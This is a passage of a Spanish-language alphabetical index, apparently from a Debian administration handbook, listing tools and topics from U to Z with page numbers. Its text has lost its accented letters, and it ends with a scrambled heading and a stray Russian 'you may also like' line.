ubicacin de la documentacin, 12
Ubuntu, 449
ucf, 206
UDP, puerto, 228
uid, 163
umask, 203
unattended-upgrades, 131
Unicode, 153
Unstable, 25
unvierse, 450
update-alternatives, 368
update-menus, 369
update-rc.d, 194
update-squidguard, 297
updatedb, 180
upstream, 6
USB, 219, 460
uscan, 438
usuario
base de datos, 163
dueo, 201
UTF-8, 153
V
variable de entorno, 168
Venema, Wietse, 209
ventanas, gestor, 368
versin, comparacin, 97
VESA, 367
vinagre, 200
vino, 199
virgulilla, 168
virsh, 345
virt-install, 342, 343
virt-manager, 342
virtinst, 342
virtual
paquete virtual, 81, 82
Virtual Network Computing, 199
virtual, dominio, 264

virtual, servidor, 278


VirtualBox, 330
virtualization, 330
visudo, 178
vmlinuz, 186
VMWare, 330
VNC, 199
vnc4server, 201
volcado, 218
volmen
fsico, 66
grupo de volmenes, 66
lgico, 66
voto, 13
VPN, 230
vsftpd, 285

X
x-window-manager, 368
x-www-browser, 369
X.509, certificado, 231
X.org, 366
X11, 366
x11vnc, 199
xdelta, 218
xdm, 200, 367
Xen, 331
Xfce, 372
XFree86, 366
XMPP, 378
xserver-xorg, 366
xvnc4viewer, 200
xz, 104

W
warnquota, 215
web, navegador, 376
web, servidor, 276
webalizer, 147
WebKit, 376
webmin, 204
whatis, 141
Wheezy, 9
Wietse Venema, 209
wiki.debian.org, 144
Winbind, 290
WindowMaker, 368
Windows Terminal Server, 383
Windows, dominio, 290
Windows, emulacin, 382
Windows, espacio compartido, 289
Windows, montaje de espacio compartido, 294
Wine, 382
winecfg, 382
WINS, 290
wireshark, 255
wondershaper, 242
Woody, 9
Word, Microsoft, 381
www-browser, 369
www-data, 277

Y
yaboot, 173
ybin, 174
Z
Zabbix, 355
Zacchiroli, Stefano, 13
zebra, 243
Zeroconf, 42
zona
DNS, 246
inversa, 247
zona horaria, 175
zoneinfo, 175
zsh, 167

OEJDF BMGBCUJDP



Вам также может понравиться